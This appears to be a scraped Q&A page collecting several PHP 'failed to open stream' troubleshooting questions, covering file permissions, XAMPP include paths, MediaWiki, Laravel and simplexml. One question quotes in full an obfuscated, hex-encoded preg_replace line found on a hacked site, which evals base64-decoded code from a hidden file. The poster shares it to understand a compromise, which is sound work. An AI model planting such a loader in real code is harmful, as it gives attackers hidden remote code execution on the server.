fopen() failing to open and append file - php

PT 2...This is day 4 of still not figuring out this issue.
I am brand new to learning PHP. I keep receiving an error code when trying to run my code in google chrome. As seen here:
Warning: fopen(/var/www/html/orders.txt): failed to open stream: Permission denied in /var/www/html/class_projects/ch2/processorder.php on line 68
I have changed the permission on all of my files to r/w. I have run multiple terminal commands to change permissions. I think it's obvious at this point I am making big mistake somewhere. I'm at a loss of where to even look at this point.
I tried re-running the page after this action in the terminal. I still receive the same error code. What is my next best step in approaching this issue? I'm sure it's something I'm overlooking. Thanks for taking a look.

Related

PHP fails on launch

I recently asked a question at Can't run PHP after a new installation of XAMPP but now I realise that I was wrongly blaming a new installation of XAMPP. I've now got the same problem on two computers with different versions of XAMPP, so the problem must be somewhere in my coding, but I can't find it.
XAMPP starts up OK with Apache and MySQL. But then running the simplest PHP script...
<?php echo "HELLO"; ?>
produces these error messages...
Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0
Fatal error: Unknown: Failed opening required 'F:/My Documents/OneDrive/Webs/htdocs/phpinfo.php' (include_path='.;C:/xampp/php/pear/PEAR') in Unknown on line 0
That path to PEAR is specified in php.ini and it DOES exist. I can change php.ini to show any include_path and it doesn't matter whether it exists or not, the same error message appears (showing whatever include_path I have put in).
Even phpinfo.php will not run, as shown in the above example, although phpMyAdmin runs OK.
I'm now convinced that my two XAMPP installations on two computers cannot be causing this, but the error messages are not helping me find the problem. I now have to develop code on remote hosts to get around this problem. Can anyone help?
Many thanks!

MediaWiki 1.27 warning requiring SpecialUserLogin.php

I've updated my mediawiki from 1.26.2 to 1.27, the installation process finished ok, but when I try to access I received this error:
Warning:
require(/var/app/current/includes/specials/SpecialUserLogin.php):
failed to open stream: No such file or directory in
/var/app/current/includes/AutoLoader.php on line 81 Fatal error:
require(): Failed opening required
'/var/app/current/includes/specials/SpecialUserLogin.php'
(include_path='/var/app/current/vendor/pear/pear_exception:/var/app/current/vendor/pear/console_getopt:/var/app/current/vendor/pear/pear-core-minimal/src:/var/app/current/vendor/pear/mail_mime:/var/app/current/vendor/pear/mail_mime-decode:/var/app/current/vendor/pear/net_socket:/var/app/current/vendor/pear/net_smtp:/var/app/current/vendor/pear/mail:.:/usr/share/pear:/usr/share/php')
in /var/app/current/includes/AutoLoader.php on line 81
I have no idea why is this happening. If I check the files in my server they're there. I'm also having template issues if I choose vector I only get a messed up template, without styling.
I'm using PHP 5.6.
I hope someone can help me.
I just stumbled across this same exact error after upgrading to MW 1.27.
In my case, the SpecialUserlogin.php existed and all of the permissions were right BUT the word login was written in lowercase so the system thought this file didn't exist. So I just renamed the SpecialUserlogin.php to SpecialUserLogin.php and b00m, it worked!
As for your templating issues, check the common.css file. Copy paste everything out of there, so it's empty, if you don't use it. And check that you're calling your style files correctly in your template.

Did my site get hacked?

I was randomly browsing a site on one of our servers, and I found this bit of code as the second line on index.php:
#preg_replace("\x24\50\x5b\136\x3c\135\x2b\51\x24\163\x69\145","\x65\166\x61\154\x28\47\x24\147\x63\155\x3d\67\x37\67\x37\61\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x67\143\x6d\75\x37\67\x37\67\x31\73","\x4c\62\x68\166\x62\127\x55\166\x59\62\x78\150\x63\63\x4e\160\x5a\155\x6b\166\x63\110\x56\151\x62\107\x6c\152\x58\62\x68\60\x62\127\x77\166\x62\107\x46\165\x5a\171\x39\152\x59\127\x4e\157\x5a\123\x38\165\x4a\124\x67\171\x4f\105\x55\154\x4d\104\x41\170\x4d\171\x56\103\x4f\105\x59\172\x4a\125\x4a\104\x4d\125\x49\154\x51\152\x49\171\x51\151\x55\60\x52\152\x55\63");
When I run it, I get:
Warning: file(/home/classifi/public_html/lang/cache/.%828E%0013%B8F3%BC1B%B22B%4F57): failed to open stream: No such file or directory
It looks like it's obfuscated to do something that it really shouldn't be doing. Can anyone explain to me how I can figure out what the intention was of this line of code? And whether or not my server was actually hacked?
What was the perpetrator trying to do? It is a site running NOAH CLASSIFIEDS script.
that is an hexa-coded text if you want to see the decoded version then see this
Decoded

Laravel can't find some files

I'm in the middle of some work and suddenly I get this.
Warning: require(/opt/lampp/htdocs/ERP/laravel/÷5 ication)
[function.require]: failed to open stream: No such file or directory
in /opt/lampp/htdocs/ERP/public/index.php on line 34
Fatal error: require() [function.require]: Failed opening required
'/opt/lampp/htdocs/ERP/laravel/÷5 ication'
(include_path='.:/opt/lampp/lib/php') in
/opt/lampp/htdocs/ERP/public/index.php on line 34
This error is shown on some requests that have no relation, so there is not a problem with them. This problem started showing a few hours ago
I have checked the files mentioned on the message and they are OK, based on the download I just made to make sure.
If I keep refreshing the page the file name changes. If I insist, it will end up loading my page. This process is costing me a lot of time, I'm trying to make some tests and sometimes this message shows up.
Well...you said that it happens in same pages that make requests, take a good look on your requests and try looking for something wrong.
A good tip is to use the Profile on your framework configuration. You will have a bottom bar with details about the queries executed and logs created.
I think that will help you find the problem.

simplexml_load_file() error

so I'm trying implement a website which uses data stored in an xml file.
It works fine on my computer, but as soon as I try to upload it, I get the following error:
Warning: simplexml_load_file() [function.simplexml-load-file]: I/O warning : failed to load external entity "..\lib\menu.xml" in /home/ogwareco/public_html/menu.php on line 2
And none of the data gets displayed on the screen. I've Googled this problem, but it's led nowhere. I've got no idea what to do here. I've even tried to set my permissions to 777 (bad idea, I know), to see if it was a permissions thing, but it's not.
It looks like you are using backslashes to refer to the file on a Linux machine. Change
..\lib\menu.xml
to
../lib/menu.xml
in your code.

Categories